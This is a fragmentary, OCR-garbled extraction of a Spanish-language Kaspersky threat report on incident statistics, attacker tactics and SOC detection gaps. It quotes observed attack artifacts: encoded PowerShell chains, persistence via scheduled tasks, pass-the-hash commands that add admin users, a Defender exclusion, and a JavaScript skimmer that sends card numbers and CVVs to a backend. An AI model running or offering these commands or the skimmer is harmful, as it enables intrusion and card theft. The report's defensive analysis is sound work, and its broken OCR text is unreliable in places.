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;Quiénes son sus posibles

atacantes?

¢Qué métodos

se utilizanenla
actualidad?

¢Como se puede

detectar su actividad de
manera eficiente?
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https://latam.kaspersky.com/enterprise-security/managed-detection-and-response
https://latam.kaspersky.com/enterprise-security/security-operations-center-soc
https://latam.kaspersky.com/enterprise-security/incident-response
https://latam.kaspersky.com/enterprise-security/compromise-assessment
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~15 000
~400 000

~300 000

>39 000
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Gravedad de los incidentes
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Introduccién Gravedad de los incidentes Deteccioén de ataques

Alta Baja

En 2025, MDR detecté un promedio de hasta tres incidentes de alta gravedad por dia.

e 2024 |}
2025 |
2022 |1}

@ 2021 | R
2020 [}

"efecto de saturacién": las organizaciones lidian hoy con

mas amenazas oportunistas y de bajo nivel, como también con amenazas avanzadas
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Introduccién Gravedad de los incidentes Deteccioén de ataques
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https://attack.mitre.org/techniques/T1474/
https://attack.mitre.org/techniques/T1199/




La naturaleza de los

Gravedaddeliesineidentes incidentes de gravedad alta

Gravedad Tiempo hasta el reporte Comentarios

2024: 539 min
2023: 36.4 min
2022: 43.7 min
Alta 2021: 414 min
2020: 52.6 min

2024: 41.0 min
2023: 32.5min
2022: 309 min
2021: 34.8 min
2020: 211 min

2024: 379 min
2023 48.0 min
Baja 2022: 341 min
2021: 40.2 min
2020: 30.2 min
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https://content.kaspersky-labs.com/se/media/latam/enterprise-security/kaspersky-incident-response-analyst-report-es-mx.pdf
https://content.kaspersky-labs.com/fm/site-editor/68/680c25624a59707e4f047ae135f78229/source/kaspersky-mdr-report-2023.pdf
https://content.kaspersky-labs.com/fm/site-editor/52/52f9ce493bb257698e60f823b2b3e16d/source/kaspersky-mdr-analyst-report-2022.pdf
https://content.kaspersky-labs.com/fm/site-editor/b0/b08f9262f427a2b9e6c00d7c608842f3/source/mdr-analyst-report-2021.pdf
https://content.kaspersky-labs.com/fm/site-editor/32/326d836298373d796c965e4bfb9ced85/source/mdr-analyst-report-q4-2020.pdf

La naturaleza de los

Gravedaddeliesineidentes incidentes de gravedad alta

Rapido Promedio

En general, los agentes maliciosos
hacen un intento tras otro, enfocandose
primero en lo mas simple: fallos de seguridad
publicos que son faciles de identificar

Duradero

Porcentaje de ataques

Vectores iniciales

Duracion del ataque promedio (media)

Duracion de la respuesta ante incidentes (media)

Dainos

The nature
of cuber
incidents
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https://content.kaspersky-labs.com/se/media/latam/enterprise-security/kaspersky-incident-response-analyst-report-es-mx.pdf
https://content.kaspersky-labs.com/fm/site-editor/52/526c20352425d20e8cce4b0dd07f305f/source/kaspersky-ir-analyst-report-2023.pdf
https://content.kaspersky-labs.com/fm/site-editor/43/43fdc6bda5b4aa26747a89146ca6948f/source/the-nature-of-cyberincidents-2022.pdf
https://content.kaspersky-labs.com/fm/site-editor/72/72d83757a59aaa0d607b51dee785e55d/source/incident-response-analyst-report-2022.pdf
https://content.kaspersky-labs.com/fm/site-editor/93/93dd43a60d467c64822573d47b52b7ec/source/kaspersky-incident-response-analyst-2020.pdf




- Lanaturaleza de los -
Deteccidn de ataques incidentes de gravedad alta Tacticas de los atacantes
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Deteccion de ataques Técticas de los atacantes

0% 5% 10% 15% 20% 25% 0% 5% 10% 15% 20% 25%

No obstante, las infracciones
de politicas de seguridad graves (mas del 13 %)
indican que los errores de configuracién y las
acciones no autorizadas son adn un riesgo
importante
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Deteccion de ataques Técticas de los atacantes
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lo que sugiere que los atacantes ven a los empleados de prensa como vectores de
ataque iniciales que pueden explotarse en futuros ataques
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Deteccion de ataques Técticas de los atacantes
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Deteccion de ataques

CVE-2022-27228

la mayoria de los CVE tienen pruebas de concepto
(PoC) disponibles en plataformas publicas y no necesitan de
condiciones complejas para ejecutarse

El 50 % de las vulnerabilidades que identificamos al responder a un
incidente dieron lugar a la ejecucién remota de cédigo. Algunos casos
ocurrieron sin autenticacion, lo que supone un riesgo general mucho
mayor

Entre los patrones de debilidad mas comunes cabe destacar la
deserializacién insegura (CWE-502), la autenticacion o autorizacion
inadecuadas (CWE-287/288), el salto de directorios (CWE-22), la carga
irrestricta de archivos (CWE-434) y la falsificacion de solicitudes del
lado del servidor (CWE-918). Todos estos mecanismos pueden darle
aun atacante el control del sistema

"Anatomia de un mundo cibernético", informe global de Kaspersky Security Services, 2026

Técticas de los atacantes
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iz La naturaleza de los g
Deteccidn de ataques incidentes de gravedad alta Téacticas de los atacantes
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La naturaleza de los - Técnicas y herramientas
. Tacti | 't nt
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La naturaleza de los Técnicas y herramientas
incidentes de gravedad alta de los atacantes
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https://attack.mitre.org/software/S0633/
https://attack.mitre.org/software/S0521/
https://github.com/rapid7/metasploit-framework
https://attack.mitre.org/techniques/T1041/
https://attack.mitre.org/software/S0154/
https://lolbas-project.github.io/

La naturaleza de los Técnicas y herramientas
incidentes de gravedad alta de los atacantes

Este afo, también observamos el desarrollo de ataques a través de relaciones de confianza. En un caso,
descubrimos que los atacantes habian vulnerado mas de dos organizaciones, una tras otra, para obtener
acceso a una tercera, que era el verdadero objetivo.

"Anatomia de un mundo cibernético", informe global de Kaspersky Security Services, 2026 ® 26 | 57



La naturaleza de los Técnicas y herramientas
incidentes de gravedad alta de los atacantes
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La naturaleza de los Técnicas y herramientas
incidentes de gravedad alta de los atacantes

e e
L

el
IDS de red complementa la EPP incluso cuando el sensor del endpoint aparenta ser el método de deteccion mas
evidente
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oy Técnicas y herramientas de Capacidad de deteccion
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https://attack.mitre.org/docs/ATTACK_Design_and_Philosophy_March_2020.pdf

“C:\Windows\System32\WScript.exe" "wscript.exe"
"C:\Users\ \AppData\Local\Temp\1l 9.vbs" "C:\Users\ \AppData\Local\Temp\5 5.vbs"

(PID: 628) C:\Windows\system32\services.exe
L—— (PID: 6296) C:\Windows\system32\ServerManagerlLauncher.exe
L—— (PID: 5768) "C:\Windows\system32\mmc.exe" "C:\Windows\system32\ServerManager.msc"



https://securelist.lat/kaspersky-managed-detection-and-response-report-2024/99999/
https://attack.mitre.org/techniques/T1059/005/
https://securelist.com/kaspersky-mdr-report-2023/112411/
https://attack.mitre.org/techniques/T1218/014/

C:\Windows\System32\services.exe
-> C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
-> "powershell.exe" -NonInteractive -enc [BASE64]
-> "C:\Windows\system32\cmd.exe" whoami
-> "C:\Windows\system32\cmd.exe" tasklist /svc
-> "C:\Windows\system32\cmd.exe" netstat -ano
-> "C:\Windows\system32\cmd.exe" ping -n 1 8.8.8.8
-> "C:\Windows\system32\cmd.exe" c:\windows\temp\klnagentx.exe 103. )0].25:443
-> "C:\Windows\system32\cmd.exe" tasklist /svc
-> "C:\Windows\system32\cmd.exe" c:\windows\temp\klnagentx.exe -h
-> "C:\Windows\system32\cmd.exe" c:\\windows\\temp\\klnagentx.exe -h
-> "C:\Windows\system32\cmd.exe" taskkill /f /im klnagentx.exe
-> "C:\Windows\system32\cmd.exe" tokei -H aa 2AD0]140
[CENSURADO] 448535c97b3fc9
-> "C:\Windows\system32\cmd.exe" sc.exe create MpKslad05flba type=kernel binpath=c:\windows)\
System32\drivers\MpKslDzv.sys
-> "C:\Windows\system32\cmd.exe" sc.exe start MpKslad05flba
-> "C:\Windows\system32\cmd.exe" cd
-> "C:\Windows\system32\cmd.exe" netstat -ao
-> "C:\Windows\system32\cmd.exe" netstat -ano
-> "C:\Windows\system32\cmd.exe" sc.exe stop MpKslad05flba
-> "C:\Windows\system32\cmd.exe" sc.exe delete MpKslad0@5flba
-> "C:\Windows\system32\cmd.exe" del c:\windows\System32\drivers\MpKslDrv.sys
-> "C:\Windows\system32\cmd.exe" del c:\windows\System32\aprds.dll
-> "C:\Windows\system32\cmd.exe" del c:\windows\System32\rsd.dat
-> "C:\Windows\system32\cmd.exe" klnagentx.exe roo.dat
-> "C:\Windows\system32\cmd.exe" taskkill /f /im klnagentx.exe
-> "C:\Windows\system32\cmd.exe" klnagentx.exe roo.dat
-> "C:\Windows\system32\cmd.exe" tasklist /svc
-> "C:\Windows\system32\cmd.exe" ping -c 1 ADO].net

1. schtasks /create /tn "EdgeUpdateWinr" /tr "cmd /c c:\programdata\syc\sshd.exe" /sc hourly /ru SYSTEM
/£

Task path: C:\Windows\System32\Tasks\EdgeUpdateWinz,

Schedule task name: EdgeUpdateWinr

Registry path: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{D92
RADO]C7A4A}:Actions

Command: "cmd" /c c:\programdata)_ _\sshd.exe

2. schtasks /create /tn "WindowsAutoTask" /tr "\"C:\Program Files\OpenVPN\bin\openvpn.exe\" -config \"C:\
ProgramData\ _lak.ovpn\"" /sc onstart /ru SYSTEM /f

Task path: C:\Windows\System32\Tasks\WindowsAutoTask

Schedule task name: WindowsAutoTask

Registry path: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{F8
1A9}:Actions

Command: schtasks /create /tn "WindowsAutoTask" /tr "\"C:\Program Files\OpenVPN\bin\openvpn.exe\"

-config \"C:\ProgramData\ lak.ovpn\"" /sc onstart /ru SYSTEM /f



https://attack.mitre.org/techniques/T1569/002/
https://attack.mitre.org/techniques/T1543/003/
https://attack.mitre.org/techniques/T1053/005/

oy Técnicas y herramientas de Capacidad de deteccion

Confrecuencia 7-15% Casi nunca

<2%

1.0 %

13.0 %
L [ (.

193% | | | | |

120 %

177 %
’ | L [ |

20.3 %

1.6 %

5.2% | Ll |

89 % | |
0% | | |
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Import-Module ./Invoke-TheHash.psdl

Invoke-WMIExec -Target "<IP>" -Domain "<DOMINIO>" -Username "<USUARIO>" -Hash "<HASH>" -Command "net
user Usuariol Contrasefial! /ad" -verbose

Invoke-SMBExec -Target "<IP>" -Domain "<DOMINIO>" -Username "<USUARIO>" -Hash "<HASH>" -Command "net
user Usuario2 Contrasefal! /ad" -verbose

Invoke-SMBExec -Target "<IP>" -Domain "<DOMINIO>" -Username "<USUARIO>" -Hash "<HASH>" -Command "net
localgroup Administrators Usuariol /ad" -verbose

Servidores de correo Servidorl

Endpointl

Endpoint2



c:\users\mpdefender.exe

cmd.exe /c "cd /d C:\users\public &amp;&amp; start
se cargd el archivo DLL malicioso del eliminador de datos, MpClient.dll (MD5 2DFEF0C375933B725C047A7E25B27CEE)

"C:\users\public\Mpdefender.exe




<?xml version="1.0" encoding="UTF-16"?>

<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>

<Date>2025-06-19T08:36:48</Date>

<Author>CENSURADO</Author>

<URI>\DefenderUpdatefor</URI>

</RegistrationInfo>

<Principals>

<Principal id="Author">

<UserId>S-1-5-18</UserId>
<RunLevel>HighestAvailable</RunLevel>

</Principal>

</Principals>

<Settings>
<DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIlfGoingOnBatteries>
<Enabled>false</Enabled>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<IdleSettings>

<Duration>PT10M</Duration>

<WaitTimeout>PT1H</WaitTimeout>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>

</IdleSettings>

</Settings>

<Triggers>

<TimeTrigger>
<StartBoundary>2025-06-19T12:30:00</StartBoundary>
</TimeTrigger>

</Triggers>

<Actions Context="Author">

<Exec>

<Command>cmd</Command>

<Arguments>/c "cd /d C:\users\public && start "" "C:\users\public\Mpdefender.exe""</Arguments>
</Exec>

</Actions>

</Task>

N

N
c:\inetpub\calibre.exe c:\inetpub\history\ c:\archivos de c:\inetpub\history\
ca.exe programa (x86)\windows calibre-launcher.dll
defender\calibre.exe

powershell -nop -exec bypass -EncodedCommand
QQBKkAGQALQBNAHAAUABYAGUAZgBTAHIAZQBUAGMAZQAZACOARQB4AGMAbAB1AHMAaQBVAG4AUABhAHQAaAAgACTIAQWAGACIA
Add-MpPreference -ExclusionPath "C:'

.\Impersonate.exe

\Impersonate.exe list

\Impersonate.exe exec 30 ipconfig

\Impersonate.exe exec 30 "net user /domain>1.txt"

\Impersonate.exe exec 30 cmd

\Impersonate.exe exec 30 cmd /k whoami

\Impersonate.exe exec 30 cmd




oy Técnicas y herramientas de Capacidad de deteccion

Id.:

Tactica: manipulacién de marcas de tiempo

Id.:

Protocolo de capa de
aplicacion: el patrén http://+:<puerto>/
http://+:80/Temporary_Listen_Addresses/

comodin fuerte para la identificacion del host
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http://+:80/Temporary_Listen_Addresses/
https://+:443/autodiscover/autodiscovers/
https://+:443/ews/exchanges/

https://+:444/ews/ews/

HttpListener listener = new HttplListener();

listener.Prefixes.Add("https://+:443/autodiscover/autodiscovers/");

listener.Start();




oy Técnicas y herramientas de Capacidad de deteccion

Id.:
Cuentas validas:

Id.:
Servicios remotos:

Id.:
Intérprete de comandos
y scripts:

Cronologia de ejecucion:

N

]

172.*%.*

4

RDP
A
172.%.*
SSH SSH
A
ESXi_2
A
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const _x = {
'RSA_PUBLIC_KEY': "--BEGIN PUBLIC KEY--\...<censurado>..--END PUBLIC KEY--",
'BACKEND_URL': atob("...<censurado>..”)

const _y = async _y => {
try {
const _z = await fetch(_xxx.BACKEND_URL, {
‘method': "POST",
'headers': {
‘Content-Type': "application/json"

Jia

'body': JSON.stringify({
‘encrypted_data': _a

B

1

_b.addEventListener("mouseenter”, async () => {

try {
const _d = {

Tbard_number': document.getElementById("card_number")?.['value'] ||
'expiry_date': document.getElementById("expire_date")?.["value"] ||

‘cvv': document.getElementById("card_cvv")?.["value"] |l ",

-

const _zz = new JSEncrypt();
_zz.setPublicKey(...)




A

https://*:443/DELAY_SRV/
http://*:80/DELAYS_SRV/



oy Técnicas y herramientas de Capacidad de deteccion

user_token_api
un blob de configuracién codificado con Base64

I la memoria del proceso WerFault.exe

TActica: SSH_client.exe

acceso SSH interactivo y la capacidad de transferir archivos

SpawnShell:
Upload:
Download:
Ls:
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Capacidad de deteccion

Tacticas de los atacantes de un SOC

la ejecucion en
memoria, el abuso de protocolos legitimos
y el enmascaramiento de procesos

arquitecturade
ataque modular y multicapa
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oy Técnicas y herramientas de Capacidad de deteccion

enriquecimiento

Reputacion del archivo, script o documento de

ofimética General: 3.8 %

Reputacién de la URL
General: 3.7 %

Reputacién del host o la IP remotos
General: 4.5 %
General: 1.3 %
Lista de detecciones relacionadas con APT
General: 1.4 %

General: 3.0 %

General: 1.1 %

Veredicto de EPP para el objeto
General: 7.2 %

General: 5.0 %

General: 3.2 %
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https://www.kaspersky.com/scan-engine
https://github.com/fortra/impacket

oy Técnicas y herramientas de Capacidad de deteccion

TAOOO1: TAO0O02: TAOOO3: TAOO0O04: TAOOOS: TAOOO06: TAOOO7:
Acceso inicial Ejecucidén Persistencia Escalada Evasién Acceso Descubrimiento
de privilegios de defensas acredenciales
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oy Técnicas y herramientas de Capacidad de deteccion

TAOO0O08: TAOO0O09: TAO0O10: TAOO1: TA0040: TA0042: TAO043:
Movimiento Recopilacién Exfiltracion Comandoy Impacto Desarrollo de Reconocimiento
lateral control recursos
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Técnicas y herramientas de Lagunas de deteccion
los atacantes e intrusiones ocultas

ool Evaluacion técnica ﬂ Simulacion de ataques

IO

» » »
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Técnicas y herramientas de
los atacantes

[5-30]

5-70+ [30-50]
[50-70+]

Lagunas de deteccion
e intrusiones ocultas

o
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https://securelist.lat/#

Técnicas y herramientas de Lagunas de deteccién
los atacantes e intrusiones ocultas

Desarrollo propio Seguidores del Seguidores del EDR
proveedor

Popularidad

Descripcién

N.° de reglas activas en el
SIEM/XDR

Proporcién de reglas
propias en el SIEM/XDR

Porcentaje de MITRE
cubierto
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Técnicas y herramientas de Capacidad de deteccién Lagunas de deteccion
los atacantes deunSOC e intrusiones ocultas

|
Puntos ciegos y deficiencias en la cobertura de la infraestructura

| |
|_ Cobertura de las reglas de deteccidn segun la fuente de eventos

|

T\ Reglas predeterminadas sin
X adaptar: lo que ofrece el proveedor
se usa tal cual
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https://securelist.lat/#
https://latam.kaspersky.com/enterprise-security/contact?icid=ca-ssreport
https://www.kaspersky.com/enterprise-security/contact-investigation?icid=ssreport
https://securelist.lat/#
https://latam.kaspersky.com/enterprise-security/contact?icid=ca-ssreport
https://www.kaspersky.com/enterprise-security/contact-investigation?icid=ssreport
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2025, casiun 18.6 % de los incidentes detectados se

encontré por medios manuales.

I__—I
L ]

"Anatomia de un mundo cibernético", informe global de Kaspersky Security Services, 2026

25%

19 %

19 %

1.2%

1.2%

1.2%

1.2 %

1.2%

0.6 %

0.6 %

0.6 %

® 54 / 57


https://dfi.kaspersky.com/mx

Capacidad de deteccién Lagunas de deteccién
deun SOC e intrusiones ocultas
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Para contrarrestar un ataque con intervencidon humana, todavia es vital una solucién con intervencién
humana, como lo son MDR e IR.

Los servicios de consultoria integral para SOC pueden ayudar
con este objetivo.

En estas situaciones, combinar un SOC interno con capacidades de XDR y/o servicios tercerizados
como MDR con proyectos de Compromise Assessment regulares es una estrategia eficaz para detectar
e investigar incidentes que escapen a los controles de seguridad existentes.

laimportancia de instaurar la concientizacién en
seguridad como pilar a la hora de planificar la seguridad
corporativa.
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https://attack.mitre.org/techniques/T1098/
https://attack.mitre.org/techniques/T1566/
https://attack.mitre.org/techniques/T1204/

' Méasde 5500 || | 50 % | ~200000

' 500 000 " 5300 millones | || 5

Servicios de Kaspersky Security

O
O

r ) T ro. T
Més informacién Mas informacién

L | L

r ) o ro. 7
Més informacién Mas informacién

L | L |

[ 1 o o
Mas informacion Mas informacién

L | L |

Reconocimiento global

"Anatomia de un mundo cibernético", informe global de Kaspersky Security Services, 2026 ® 57 | 57


https://latam.kaspersky.com/enterprise-security/incident-response
https://latam.kaspersky.com/enterprise-security/managed-detection-and-response
https://latam.kaspersky.com/enterprise-security/compromise-assessment
https://latam.kaspersky.com/enterprise-security/security-operations-center-soc
https://latam.kaspersky.com/enterprise-security/security-assessment
https://dfi.kaspersky.com/es



https://latam.kaspersky.com

